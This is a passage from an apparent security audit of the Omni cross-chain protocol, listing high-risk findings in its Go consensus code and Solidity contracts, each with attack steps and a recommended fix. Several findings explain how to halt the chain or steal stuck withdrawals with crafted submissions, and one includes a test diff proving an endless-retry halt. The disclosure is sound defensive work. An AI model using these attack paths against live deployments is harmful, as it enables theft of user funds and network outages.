↪  0x0336b231909642a65d3820ecb948d06421848c4a51f3f425ea699aaf2951f46baa, deposit: 10000000000000000000
↪  [1e20])
     [0] VM::prank(validator2: [0x1991F8B5b0cCc1B24B0C07884bEC90188f9FC07C])
         [Return]
     [3469] StakingHarness::createValidator{value:
↪  10000000000000000000}(0x0336b231909642a65d3820ecb948d06421848c4a51f3f425ea699aaf2951f46baa)
        emit CreateValidator(validator: validator2: [0x1991F8B5b0cCc1B24B0C07884bEC90188f9FC07C], pubkey:
↪  0x0336b231909642a65d3820ecb948d06421848c4a51f3f425ea699aaf2951f46baa, deposit: 10000000000000000000
↪  [1e20])
         [Stop]
      [Stop]
```

- Recommendation Implement a mechanism to ensure that each `pubkey` is unique before allowing a new validator to be registered.

```
  // Add a mapping to track used pubkeys
+ mapping(bytes => bool) private usedPubkeys;

function createValidator(bytes calldata pubkey) external payable {
    require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
    require(pubkey.length == 33, "Staking: invalid pubkey length");
    require(msg.value >= MinDeposit, "Staking: insufficient deposit");
+   require(!usedPubkeys[pubkey], "Staking: validator already exists with this pubkey");

    // Mark the pubkey as used
+   usedPubkeys[pubkey] = true;

    emit CreateValidator(msg.sender, pubkey, msg.value);
}
```

3.1.21 Insufficient validation inside VerifyVoteExtensions

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: Inside `VerifyVoteExtensions`, the `Verify()` is called on every `Vote`:

```
    for _, vote := range votes.Votes {
        if err := vote.Verify(); err != nil {
```

Inside the `Verify()` function, the following check happens w.r.t. the `ConfLevels`:

```
func (v *Vote) Verify() error {
// omitted code
    if err := v.AttestHeader.Verify(); err != nil {
        return errors.Wrap(err, "verify attestation header")
    }
// omitted code
}
```

If we look at `AttestHeader.Verify()`:

```
func (h *AttestHeader) Verify() error {
// omitted code
    if conf := xchain.ConfLevel(byte(h.GetConfLevel())); !conf.Valid() {
        return errors.New("invalid conf level", "conf_level", conf.String())
    }
// omitted code
}
```

We see that `ConfLevel` is checked here using `Valid()`:

```
func (c ConfLevel) Valid() bool {
    return c > ConfUnknown && c < confSentinel && !strings.Contains(c.String(), "ConfLevel")
}

const (
    ConfUnknown   ConfLevel = 0 // unknown
    ConfLatest    ConfLevel = 1 // latest
    _             ConfLevel = 2 // reserved
    _             ConfLevel = 3 // reserved
    ConfFinalized ConfLevel = 4 // final
    confSentinel  ConfLevel = 5 // sentinel must always be last
)
```

The problem here is that this check passes for the following values:

- 1
- 2
- 3
- 4

1 & 4 are correct parameters, they are `latest` and `final`. But the other two are not used.

This opens up the pathway to a malicious node to create a vote with a value of either 2 or 3. The malicious node can sign this vote and it will pass when `VerifyVoteExtension` is called by other noted.

When we arrive at the next block, inside `PreparePropsal` during `PrepareVotes`, this check of the anonymous function that will be called inside `votesFromLastCommit`, will lead to a failure:

```
func (k *Keeper) PrepareVotes(ctx context.Context, commit abci.ExtendedCommitInfo) ([]sdk.Msg, error) {
//omitted code
->          if confLevel == chainVersion.ConfLevel {
                return true, nil
            }
        }
        return false, nil
    }
```

This function will return `false`, leading to `PrepareProposal` failing and picking a new validator for a new round. However, the same thing will happen to that Validator, leading to a chain halt.

Recommendation: Do not allow other values other than 1 and 4.

3.1.22 Syscalls allow calling any function of `OmniPortal` contract including `internal` and `private` ones

Severity: High Risk

Context: OmniPortal.sol#L322

- Description In the `OmniPortal` contract, syscalls are intended to only execute specific syscall functions (`addValidatorSet` and `setNetwork`). However, the current implementation of `_syscall` does not validate the function selector, allowing any function in the contract to be called via syscall:

contracts/core/src/xchain/OmniPortal.sol#L322-L335

```
function _syscall(bytes calldata data) internal returns (bool, bytes memory, uint256) {
    uint256 gasUsed = gasleft();
    (bool success, bytes memory result) = address(this).call(data);
    gasUsed = gasUsed - gasleft();

    if (!success) {
        assembly {
            revert(add(result, 32), mload(result))
        }
    }
    return (success, result, gasUsed);
}
```

This means an attacker could craft a syscall to execute other portal functions including internal functions. We can call the internal function because well, we're in the same contract which breaks protocol functionality and can be weaponized to cause damage.

One malicious scenario is calling the internal `_syscall` itself, bypassing checks in the external function to execute syscalls.

- Recommendation Add function selector validation in the _syscall function:

```
function _syscall(bytes calldata data) internal returns (bool, bytes memory, uint256) {
+    bytes4 selector = bytes4(data);
+    // Only allow specific system functions
+    require(
+        selector == this.addValidatorSet.selector || selector == this.setNetwork.selector,
+        "OmniPortal: invalid syscall"
+    );

    uint256 gasUsed = gasleft();
    (bool success, bytes memory result) = address(this).call(data);
    gasUsed = gasUsed - gasleft();

    if (!success) {
        assembly {
            revert(add(result, 32), mload(result))
        }
    }
    return (success, result, gasUsed);
}
```

3.1.23 Omni consensus layer can be halted by malicious transactions forever

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Context

https://github.com/omni-network/omni/blob/1703c8a5c75c2d618c903bc3ac4e67e7606c39c2/octane/evmengine/keeper/msg_server.go#L66-L90

- Description

When omni consensus chain finalize block, the cosmos sdk `FinalizeBlock` later call `ExecutionPayload` handler to execute the payload. The function then call geth client `ForkchoiceUpdatedV3` method to push the payload to the execution layer to execute. The geth client `ForkchoiceUpdatedV3` method inside call `SetCanonical`, later call `consensus.go#verifyHeader` to verify the `header.GasUsed` if beyond the `header.GasLimit` or not. If so, return err:

```
func (beacon *Beacon) verifyHeader(chain consensus.ChainHeaderReader, header, parent *types.Header) error {
    ...
    if header.GasUsed > header.GasLimit {
        return fmt.Errorf("invalid gasUsed: have %d, gasLimit %d", header.GasUsed, header.GasLimit)
    }
    ...
}
```

The `ExecutionPayload` method will retry if the `ForkchoiceUpdatedV3` return error:

```
func (s msgServer) ExecutionPayload(ctx context.Context, msg *types.MsgExecutionPayload,
) (*types.ExecutionPayloadResponse, error) {
    ...
    err = retryForever(ctx, func(ctx context.Context) (bool, error) {
        // @audit - retry if `ForkchoiceUpdatedV3` return error
        fcr, err := s.engineCl.ForkchoiceUpdatedV3(ctx, fcs, nil)
        if err != nil || isUnknown(fcr.PayloadStatus) {
            // We need to retry forever on networking errors, but can't easily identify them, so retry all
↪   errors.
            log.Warn(ctx, "Processing finalized payload failed: evm fork choice update (will retry)", err,
                "status", fcr.PayloadStatus.Status)

            return false, nil // Retry
        } else if isSyncing(fcr.PayloadStatus) {
            log.Warn(ctx, "Processing finalized payload halted while evm syncing (will retry)", nil,
↪   "payload_height", payload.Number)

            return false, nil // Retry
        } else if invalid, err := isInvalid(fcr.PayloadStatus); invalid {
            // This should never happen. This node will stall now.
            log.Error(ctx, "Processing finalized payload failed; forkchoice update invalid [BUG]", err,
                "payload_height", payload.Number)

            return false, err // Abort, don't retry
        }

        return true, nil // Done
    })
    if err != nil {
        return nil, err
    }
    ...
}
```

As we can see, if the `ForkchoiceUpdatedV3` return error, the `ExecutionPayload` method will retry forever. So if the omni block transactions gasUsed beyond the block gasLimit because some malicious transactions heavily consumption the gas, or the block transactions total gas consumption beyond the block gasLimit, the `ExecutionPayload` will retry forever.

- Proof of Concept

```
diff --git a/octane/evmengine/keeper/msg_server_internal_test.go
↪   b/octane/evmengine/keeper/msg_server_internal_test.go
index 88e9a7ad..5633c4d8 100644
--- a/octane/evmengine/keeper/msg_server_internal_test.go
```

```
+++ b/octane/evmengine/keeper/msg_server_internal_test.go
@@ -3,6 +3,7 @@ package keeper
 import (
     "context"
     "encoding/json"
+    "fmt"
     "reflect"
     "testing"
     "time"
@@ -118,6 +119,131 @@ func Test_msgServer_ExecutionPayload(t *testing.T) {
     assertExecutionPayload(ctx)
 }

+var gasUsed, gasLimit uint64
+
+// new mock engine with forkchoiceUpdatedV3 function
+func newMockEngineAPIWithForkchoiceFunc(syncings int) (mockEngineAPI, error) {
+    me, err := ethclient.NewEngineMock()
+    if err != nil {
+        return mockEngineAPI{}, err
+    }
+
+    syncs := make(chan struct{}, syncings)
+    for i := 0; i < syncings; i++ {
+        syncs <- struct{}{}
+    }
+
+    return mockEngineAPI{
+        mock:     me,
+        syncings: syncs,
+        fuzzer:   ethclient.NewFuzzer(time.Now().Truncate(time.Hour * 24).Unix()),
+        // mock the forkchoiceUpdatedV3Func return error because gasUsed > gasLimit from
+        // https://github.com/ethereum/go-ethereum/blob/cf0378499f1bcae65c093c58cd6ca8225e91b125/eth/catalyst/
↪  api.go#L315
+        // and https://github.com/ethereum/go-ethereum/blob/cf0378499f1bcae65c093c58cd6ca8225e91b125/consensus
↪  /beacon/consensus.go#L256
+        forkchoiceUpdatedV3Func: func(ctx context.Context, forkchoiceState engine.ForkchoiceStateV1,
↪  payloadAttributes *engine.PayloadAttributes) (engine.ForkChoiceResponse, error) {
+            if gasUsed > gasLimit {
+                return engine.ForkChoiceResponse{PayloadStatus: engine.PayloadStatusV1{Status:
↪  engine.INVALID}}, fmt.Errorf("invalid gasUsed: have %d, gasLimit %d", gasUsed, gasLimit)
+            }
+            return engine.ForkChoiceResponse{}, nil
+        },
+    }, nil
+}
+
+func Test_msgServer_ExecutionPayload_RetryForever(t *testing.T) {
+    t.Parallel()
+    fastBackoffForT()
+
+    cdc := getCodec(t)
+    txConfig := authtx.NewTxConfig(cdc, nil)
+
+    mockEngine, err := newMockEngineAPIWithForkchoiceFunc(2)
+    require.NoError(t, err)
+    cmtAPI := newMockCometAPI(t, nil)
+    // set the header and proposer so we have the correct next proposer
+    header := cmtproto.Header{Height: 1, AppHash: tutil.RandomHash().Bytes()}
+    header.ProposerAddress = cmtAPI.validatorSet.Validators[0].Address
+    nxtAddr, err := k1util.PubKeyToAddress(cmtAPI.validatorSet.Validators[1].PubKey)
+    require.NoError(t, err)
+
+    ctx, storeService := setupCtxStore(t, &header)
+    ctx = ctx.WithExecMode(sdk.ExecModeFinalize)
+
+    ap := mockAddressProvider{
+        address: nxtAddr,
+    }
+    frp := newRandomFeeRecipientProvider()
+    evmLogProc := mockLogProvider{deliverErr: errors.New("test error")}
+    keeper, err := NewKeeper(cdc, storeService, &mockEngine, txConfig, ap, frp, evmLogProc)
+    require.NoError(t, err)
+    keeper.SetCometAPI(cmtAPI)
+    populateGenesisHead(ctx, t, keeper)
+    msgSrv := NewMsgServerImpl(keeper)
```

```
+
+   var payloadData []byte
+   var payloadID engine.PayloadID
+   var latestHeight uint64
+   var block *etypes.Block
+   newPayload := func(ctx context.Context) {
+       // get latest block to build on top
+       latestBlock, err := mockEngine.HeaderByType(ctx, ethclient.HeadLatest)
+       require.NoError(t, err)
+       latestHeight = latestBlock.Number.Uint64()
+
+       sdkCtx := sdk.UnwrapSDKContext(ctx)
+       appHash := common.BytesToHash(sdkCtx.BlockHeader().AppHash)
+
+       var execPayload engine.ExecutableData
+       block, execPayload = mockEngine.nextBlock(
+           t,
+           latestHeight+1,
+           uint64(sdkCtx.BlockHeader().Time.Unix()),
+           latestBlock.Hash(),
+           frp.LocalFeeRecipient(),
+           &appHash,
+       )
+       gasUsed = block.Header().GasUsed
+       gasLimit = block.Header().GasLimit
+
+       payloadID, err = ethclient.MockPayloadID(execPayload, &appHash)
+       require.NoError(t, err)
+
+       // Create execution payload message
+       payloadData, err = json.Marshal(execPayload)
+       require.NoError(t, err)
+   }
+
+   assertExecutionPayload := func(ctx context.Context) {
+       events, err := evmLogProc.Prepare(ctx, block.Hash())
+       require.NoError(t, err)
+
+       resp, err := msgSrv.ExecutionPayload(ctx, &types.MsgExecutionPayload{
+           Authority:         authtypes.NewModuleAddress(types.ModuleName).String(),
+           ExecutionPayload:  payloadData,
+           PrevPayloadEvents: events,
+       })
+       tutil.RequireNoError(t, err)
+       require.NotNil(t, resp)
+
+       gotPayload, err := mockEngine.GetPayloadV3(ctx, payloadID)
+       require.NoError(t, err)
+       // make sure height is increasing in engine, blocks being built
+       require.Equal(t, gotPayload.ExecutionPayload.Number, latestHeight+1)
+       require.Equal(t, gotPayload.ExecutionPayload.BlockHash, block.Hash())
+       require.Equal(t, gotPayload.ExecutionPayload.FeeRecipient, frp.LocalFeeRecipient())
+       require.Empty(t, gotPayload.ExecutionPayload.Withdrawals)
+   }
+
+   newPayload(ctx)
+   assertExecutionPayload(ctx)
+
+   // now lets run optimistic flow
+   ctx = ctx.WithBlockTime(ctx.BlockTime().Add(time.Second))
+
+   newPayload(ctx)
+   keeper.SetBuildOptimistic(true)
+   assertExecutionPayload(ctx)
+}
+
 // populateGenesisHead inserts the mock genesis execution head into the database.
 func populateGenesisHead(ctx context.Context, t *testing.T, keeper *Keeper) {
    t.Helper()
```

Patch the diff based on commit hash a782d51ad534f59ffaa20201f5711ee7ecb47e79, then run the case by `go test -run ^Test_msgServer_ExecutionPayload_RetryForever$ github.com/omni-network/omni/octane/evmengine/keeper -test.v`, we can see the test case will print log `WARN Processing finalized payload failed: evm fork choice update (will retry)` forever.

- Recommendation

The protocol should validate the `gasUsed` and `gasLimit` when the `ForkchoiceUpdatedV3` return error. If the `gasUsed` beyond the `gasLimit`, the protocol should abort the retry and mark the payload as invalid.

3.1.24 OMNI tokens can be stolen by anyone if they fail withdrawal

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description When tokens fail withdrawal on OMNI chain, the amount is saved in the `claimable` variable for the `payor to be claimed later using the` claim(...)' function from the OMNI portal.

```
File: OmniBridgeNative.sol
095:     function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
096:         external
097:         whenNotPaused(ACTION_WITHDRAW)
098:     {
// SNIP .......
106:
107:         (bool success,) = to.call{ value: amount }("");
108:
109:   @>    if (!success) claimable[payor] += amount;
110:
111:         emit Withdraw(payor, to, amount, success);
112:     }


158:     function claim(address to) external whenNotPaused(ACTION_WITHDRAW) {
159:         XTypes.MsgContext memory xmsg = omni.xmsg();
160:
161:   @>    require(msg.sender == address(omni), "OmniBridge: not xcall");
162:   @>    require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");
163:   @>    require(to != address(0), "OmniBridge: no claim to zero");
164:
// SNIP      .....
175:     }


File: OmniPortal.sol
174:     function xsubmit(XTypes.Submission calldata xsub) // @audit HIGH!can be called by anyone hence
↪  resource exhaustion is cheap
175:         external
176:         whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
177:         nonReentrant
178:     {
179:   @>    XTypes.Msg[] calldata xmsgs = xsub.msgs; //
180:         XTypes.BlockHeader calldata xheader = xsub.blockHeader;
181:         uint64 valSetId = xsub.validatorSetId;
182:
183:         require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");
184: @>      require(xmsgs.length > 0, "OmniPortal: no xmsgs");

///SNIP  .....
211:     }
```

The problem is that due to missing user input validation for non-syscalls, a malicious user can call `xsubmit(...)` with a crafted `XTypes.Submission.msgs` such that the

- `xmsg_.sender != CChainSender` but `xmsg_.sender == claimant`
- `xmsg_.to == OmniBridgeNative`,
- `xmsg_.sourceChainId == l1ChainId`
- `xmsg_.data` contains the `claim(...)` function signature and `to` (recipient address) of the attacker

and the attacker is able to claim the lost tokens

```
File: OmniPortal.sol
236:     function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
/////SNIP      ..........

288:         } else {
289:             // only sys calls can be broadcast from the consensus chain
290:             require(
291:     @>          xheader.sourceChainId != omniCChainId && xmsg_.sender != CChainSender
292:     @>              && xmsg_.destChainId != BroadcastChainId
293:     @>              && xmsg_.shardId != ConfLevel.toBroadcastShard(ConfLevel.Finalized),
294:                 "OmniPortal: invalid xcall"
295:             );
296:         }
////SNIP      ..........
300:
301:         (bool success, bytes memory result, uint256 gasUsed) =
302:   @>        isSysCall ? _syscall(xmsg_.data) : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);
//////SNIP     ..........
310:     }
```

- Impact Tokens that fail initial withdrawal on `OmniBridgeNative` can be stolen by an anyone
- Recommendation Consider implementing a proper input validation for non-syscalls `xmsg_.data` to ensure only authorised users claim their tokens when withdrawals fail on `OMNIBridgeNative`

3.1.25 Validator deposit will be lost if delegation happens in the same block as validator creation

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

The `Staking.sol` contracts is relatively simple. A (whitelisted) validator can create a new one which emits the event `CreateValidator` and the validator can self-delegate using `delegate`, which emits `Delegate`. For delegation it is further noted that "If msg.sender is not a validator, the delegation will be lost.".

These events are ultimately processed in deliverEvents by iterating over all of them (within a block) and calling `Deliver` for each one. The `Deliver` function for staking events is in evmstaking.go and handles exactly the two previously mentioned events. As the comment in the smart contract mentions, `deliverDelegate` fails when it is called for a non-existing validator.

However, there is one scenario where it also fails when it is called for an existing one: When a user creates a validator and delegates to it in the same block (i.e. a tx with a call to `createValidator` and another one with a call to `delegateValidator` that happen to be included in the same block), the user of course delegated to an already existing validator, as the call to `delegateValidator` was executed after the call to `createValidator` (which is also guaranteed to happen when the second tx was sent later with a higher nonce). However, in such a scenario, the deposit will be lost completely because the L1 processes the `Delegate` before the `CreateValidator` event. Therefore, the validator does not exist yet from the point of view of the L1.

To see why this happens, we must look at the processing order of the events. It is enforced that `msg.PrevPayloadEvents` are provided in the same order as the function `evmEvents` returns. This function performs a lexicographical sort by Address > Topics > Data. The address will be the same for both events, what about the topics? `topic[0]` is given by the event hash and therefore fixed. We can look at some testnet tx to easily get this for both events:

- https://164_4.testnet.routescan.io/tx/0xd50207889b6fc9e83277171dde3056d5f9e89c1280d2e96155ddd9e11b7eventlog?chainid=164_4
- https://164_4.testnet.routescan.io/tx/0x9037b839f61e74afb4d9e83689f0e8d507175f76fcaf39c5131c9c6d22eventlog?chainid=164_4

As we can see, `CreateValidator` has `0xc7abef7b73f049da6a9bc2349ba5066a39e316eabc9f671b6f9406aa9490a453`, whereas `Delegate` has `0x510b11bb3f3c799b11307c01ab7db0d335683ef5b2da98f7697de744f465eacc`. Because `0x510b11bb3f3c799b11307c01ab7db0d335683ef5b2da98f7697de744f465eacc < 0xc7abef7b73f049da6a9bc2349ba5066a39e316eabc9f671b6f9406aa9490a453`, all `Delegate` events will be first in the array and therefore be processed before all `CreateValidator` events.

Note that such a scenario is relatively likely to occur during normal usage. The flow of creating a validator and directly delegating to it is very natural. If this happens in a short time frame or gas usage is currently high (such that both tx only get included later when it is lower), it is likely that both transactions are included in the same block.

- Recommendation

The log index (attribute `Index` on `ethtypes.Log`) should be incorporated into the sort process within `evmEvents` to ensure that events that are emitted first are also processed first.

3.1.26 Chain will halt when a validator acquires more than 1/8th of the voting power

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: As per the CometBFT Docs:

- Structure `ValidatorUpdate` also contains an `int64` field denoting the validator's new power. Applications must ensure that `ValidatorUpdate` structures abide by the following rules:
  - the total power of the new validator set must not exceed `MaxTotalVotingPower`, where `MaxTotalVotingPower = MaxInt64 / 8`

This is one of the four constraints that should be adhered to on an Application Level, as per the CometBFT specs.

The problem here is that this check is not made.

If we take a look at `insertValidatorSet()`, which gets called in `maybeStoreValidatorUpdates`, which gets called in `EndBlock`, which is called inside `FinalizeBlock`:

```
// insertValidatorSet inserts the current validator set into the database.
func (k *Keeper) insertValidatorSet(ctx context.Context, vals []*Validator, isGenesis bool) (uint64, error) {
    var err error
    sdkCtx := sdk.UnwrapSDKContext(ctx)

    if len(vals) == 0 {
        return 0, errors.New("empty validators")
    }

    valset := &ValidatorSet{
        CreatedHeight: uint64(sdkCtx.BlockHeight()),
        Attested:      isGenesis, // Only genesis set is automatically attested.
    }

    valset.Id, err = k.valsetTable.InsertReturningId(ctx, valset)
    if err != nil {
        return 0, errors.Wrap(err, "insert valset")
    }

    // Emit this validator set message to portals, updating the resulting attest offset/height/id.
    valset.AttestOffset, err = k.emilPortal.EmitMsg(
        sdkCtx,
        ptypes.MsgTypeValSet,
        valset.GetId(),
        xchain.BroadcastChainID,
        xchain.ShardBroadcast0,
    )
    if err != nil {
        return 0, errors.Wrap(err, "emit message")
    }
    if err := k.valsetTable.Update(ctx, valset); err != nil {
        return 0, errors.Wrap(err, "update valset")
    }

    var totalPower int64
    powers := make(map[common.Address]int64)
    for _, val := range vals {
        if err := val.Validate(); err != nil {
            return 0, err
        }

        val.ValsetId = valset.GetId()
```

```
        err = k.valTable.Insert(ctx, val)
        if err != nil {
            return 0, errors.Wrap(err, "insert validator")
        }

        totalPower += val.GetPower()
        if val.GetPower() < 0 {
            return 0, errors.New("negative power")
        }

        pubkey, err := crypto.DecompressPubkey(val.GetPubKey())
        if err != nil {
            return 0, errors.Wrap(err, "get pubkey")
        }
        powers[crypto.PubkeyToAddress(*pubkey)] = val.GetPower()
    }

    // Log a warn if any validator has 1/3 or more of the total power.
    // This is a potential attack vector, as a single validator could halt the chain.
    for address, power := range powers {
        if power > totalPower/3 && len(powers) > 1 {
            log.Warn(ctx, " Validator has 1/3 or more of total power", nil,
                "address", address.Hex(),
                "power", power,
                "total_power", totalPower,
            )
        }
    }

    return valset.GetId(), nil
}
```

We can see here, for example, that a check is made that ensures that the power is not negative:

```
        if val.GetPower() < 0 {
            return 0, errors.New("negative power")
        }
```


This adheres to one of the four constrains, found in the link to the Docs that we have supplied above.

However, the following check:

- `MaxTotalVotingPower = MaxInt64 / 8`

is not found anywhere in the function, breaking the CometBFT spec.

Impact: If we take a look at the rationale on why this constraint needs to be adhered too, we can take a look at these comments in the `cometBFT` repo:

- https://github.com/cometbft/cometbft/blob/28bdb6b0183ec9de9b5facd6ccdcef5744974a9b/types/validator_set.go#L19-L27

```
const (
    // MaxTotalVotingPower - the maximum allowed total voting power.
    // It needs to be sufficiently small to, in all cases:
    // 1. prevent clipping in incrementProposerPriority()
    // 2. let (diff+diffMax-1) not overflow in IncrementProposerPriority()
    // (Proof of 1 is tricky, left to the reader).
    // It could be higher, but this is sufficiently large for our purposes,
    // and leaves room for defensive purposes.
    MaxTotalVotingPower = int64(math.MaxInt64) / 8
```

In other words, if

- `MaxTotalVotingPower` > int64(math.MaxInt64) / 8

Then, it could clip in `incrementProposerPriority()` or overflow in `IncrementProposePriority()`.

If we look at `IncrementProposePriority()`:

- https://github.com/cometbft/cometbft/blob/28bdb6b0183ec9de9b5facd6ccdcef5744974a9b/types/validator_set.go#L128-L153

```
// IncrementProposerPriority increments ProposerPriority of each validator and
// updates the proposer. Panics if validator set is empty.
// `times` must be positive.
func (vals *ValidatorSet) IncrementProposerPriority(times int32) {
    if vals.IsNilOrEmpty() {
        panic("empty validator set")
    }
    if times <= 0 {
        panic("Cannot call IncrementProposerPriority with non-positive times")
    }

    // Cap the difference between priorities to be proportional to 2*totalPower by
    // re-normalizing priorities, i.e., rescale all priorities by multiplying with:
    //  2*totalVotingPower/(maxPriority - minPriority)
    diffMax := PriorityWindowSizeFactor * vals.TotalVotingPower()
    vals.RescalePriorities(diffMax)
    vals.shiftByAvgProposerPriority()

    var proposer *Validator
    // Call IncrementProposerPriority(1) times times.
    for i := int32(0); i < times; i++ {
        proposer = vals.incrementProposerPriority()
    }

    vals.Proposer = proposer
}
```

This function is used in every block to update the validator set `ProposePrioroity`. An overflow in this function would mean the validator set can **not** be updated and thus, the chain would be stalled because a new block could never be produced since updating the validator set would not be possible.

Proof of Concept:

- `Validator_A` accumulates `(max(int64) / 8) + 1` voting power.
- `(max(int64) / 8) + 1` is **more** than the `MaxTotalVotingPower` set on the `cometBFT` level. Thus, the call to `IncrementProposePriority` that is made every round when the validator set is updated, will overflow, as per the `cometBFT` documentation.
- Validator set cannot be updated due to the persistent overflow across all nodes and thus, new blocks will not be mined resulting in a chain halt.

NOTE: This does not require a validator to be malicious, a validator can naturally acquire 1/8 + 1 of the voting power and that alone would lead to a chain halt.

Recommendation: Add a check that ensures that the `MaxTotalVotingPower = MaxInt64 / 8`

3.1.27 Absence of slippage protection in OmniGasPump::fillUp() could result in potential loss of user funds

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Impact A sudden fee increase during transaction execution causes users to lose funds if the new fee exceeds the original amount sent, leaving users with 0 OMNI swapped for their ETH swapAmount
- Description

The `OmniGasPump::fillUp()` function swaps the native ETH sent to it into OMNI tokens.

> @notice Swaps the msg.value ETH for OMNI and sends it to the recipient on Omni.

The function requires that the msg.value is greater than or equal to `(xfee() + swapAmount)`, where the fee is determined by the price oracle. Before executing the swap through settleUp, fillUp deducts the fee and applies a percentage cut, determining the final amount of OMNI that will be returned.

However, the price returned by the FeeOracle may fluctuate between the time the user calculates the fee (`xfee()`) and when they actually perform the swap. If the user initiates the swap after a delay and the price has changed, it could result in a scenario where the user receives little to no OMNI in exchange for their ETH due to an insufficient fee being provided.

- Proof-Of-Concept

1. At time x, oracle returns fee = y (fee returned by oracle at `time x`)
    - User calls `xfee()` to check the current fee rate.
2. User wants to swap amount = z (swapAmount)
3. User sends msg.value = y + z (fee + swap amount)
4. When the user's tx waits in the mempool and awaits execution, the fee required for `fillUp` (xfee) changes.
5. At `time x2`, when the tx enters execution, in the `fillUp` function, oracle returns new fee, where: `y2 (new fee) = y + z (old fee + swap amount)`

- So when the `fillUp` function executes the following line:
    - `uint256 amtETH = msg.value - f` would calculate to, `amtEth = y + z (from step 2) - y2 (newFee)`
    - From `step 5.` we can conclude that `y2 (new fee) = y + z`, therefore `amtEth = y2 - y2 = 0`

1. The new fee is now higher and is equal to `new fee = previous fee + swap amount = msg.value` sent by user.
2. Now since the `amtEth = 0`, :
    - `Toll 't'` will also be calculate to `0`:
        - ```
          uint256 t = amtETH * toll / TOLL_DENOM; //@audit  amtEth = 0, therefore, t = 0
          amtETH -= t; // @audit 0-=0 = 0, therefore amtEth = 0
          ```
    - The calculated `amtOMNI` (amount of OMNI swapped for ETH) will also be `0`:
        - ```
          uint256 amtOMNI = _toOmni(amtETH);
          ```
        - ```
          /// @notice Converts `amtETH` to OMNI, using the current conversion rate
          function _toOmni(uint256 amtETH) internal view returns (uint256) {
              // toNativeRate(omniChainId()) ==  ETH per OMNI
              // to convert ETH to OMNI, we use 1 / toNativeRate(omniChainId())
              return amtETH * oracle.CONVERSION_RATE_DENOM() / oracle.toNativeRate(omniChainId());
          }
          ```
        - Refer to OmniGasPump.sol#L101 & OmniGasPump.sol#L170-L175
3. The `xcall` to `OmniGasStation` is made via `OmniGasPump`, where the following checks revert and swap settlement fails because `owed = 0`:
    - ```
      require(owed > settled, "GasStation: already funded");
      ```
    - Refer to OmniGasStation.sol#L63

- Recommendation
- Let the user pass in the desired fee & maximum tolerance level,alongside the recipient address, and check if the current `xfee()` returned by oracle is within the tolerance range (`maximum fee the user has agreed to pay`), so that user gets the desired swap.

```
- function fillUp(address recipient) public payable whenNotPaused returns (uint256) {
+ function fillUp(address recipient, uint256 expectedFee, uint256 tolerance) public payable whenNotPaused
↪  returns (uint256) {
      ...
        // take cross-chain call fee
        uint256 currentFee = xfee();
+       require(currentFee <= expectedFee + tolerance, "FeeOracle: Fee changed beyond acceptable tolerance");
        require(msg.value >= currentFee, "OmniGasPump: Insufficient fee provided");
      ...
    }
```

3.1.28 Cross-chain messaging sequencing will break if the revert happens in the destination.

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

Omni uses `inXMsgOffset` and `xOutMsgOffset` mapping to determine the cross-chain message sequence, this is essentially like a nonce that increments on both the sides of the chain on successful message inclusion.

The problem here is that, if the `xSubmit` on the destination chain revert for any reason, that will break the sync between the source chain offset and destination chain offset, because of this any further message delivered in this router will revert.

- Details

1. In the `xCall` function, we can see that the `xOutMsgOffset` is incremented for each call.

```
 function xcall(
        uint64 destChainId,
        uint8 conf,
        address to,
        bytes calldata data,
        uint64 gasLimit
    ) external payable whenNotPaused(ActionXCall, destChainId) {
        ...SNIP...

->      outXMsgOffset[destChainId][shardId] += 1; // increment nonce

        emit XMsg(
            destChainId,
            shardId,
            outXMsgOffset[destChainId][shardId],
            msg.sender,
            to,
            data,
            gasLimit,
            fee
        );
    }
```

1. Let's imagine we are sending FINALIZED message from Optimism to Base. Now because this is a first message the `outXMsgOffset[base][FINALIZED]` will be 1.
2. On the receiver side relayer will call `xSubmit` with the message with offSet of 1.
3. here on the `xSubmit:_exec` we can see the check to ensure the ordering of the message and it also increments the `inXMsgOffset` if everything check was successful.

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
        uint64 sourceChainId = xheader.sourceChainId;
        uint64 destChainId = xmsg_.destChainId;
        uint64 shardId = xmsg_.shardId;
        uint64 offset = xmsg_.offset;

        require(
            destChainId == chainId() || destChainId == BroadcastChainId,
            'OmniPortal: wrong dest chain'
        );
        //@audit check for order
->        require(offset == inXMsgOffset[sourceChainId][shardId] + 1, 'OmniPortal: wrong offset');

        // verify xmsg conf level matches xheader conf level
        // allow finalized blocks to for any xmsg, so that finalized blocks may correct "fuzzy" xmsgs
        require(
            ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),
            'OmniPortal: wrong conf level'
        );

        if (inXBlockOffset[sourceChainId][shardId] < xheader.offset) {
            inXBlockOffset[sourceChainId][shardId] = xheader.offset;
        }
```

```
//@audit increment here
->>       inXMsgOffset[sourceChainId][shardId] += 1;

        // do not allow user xcalls to the portal
        // only sys xcalls (to _VIRTUAL_PORTAL_ADDRESS) are allowed to be executed on the portal
        if (xmsg_.to == address(this)) {
            emit XReceipt(
                sourceChainId,
                shardId,
                offset,
                0,
                msg.sender,
                false,
                abi.encodeWithSignature('Error(string)', 'OmniPortal: no xcall to portal')
            );

            return;
        }

        // set _xmsg to the one we're executing, allowing external contracts to query the current xmsg via
↪  xmsg()
                _xmsg = XTypes.MsgContext(sourceChainId, xmsg_.sender);

        (bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls to
↪  VirtualPortalAddress are syscalls
            ? _syscall(xmsg_.data)
            : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);

        // reset xmsg to zero
        delete _xmsg;

        bytes memory errorMsg = success ? bytes('') : result;

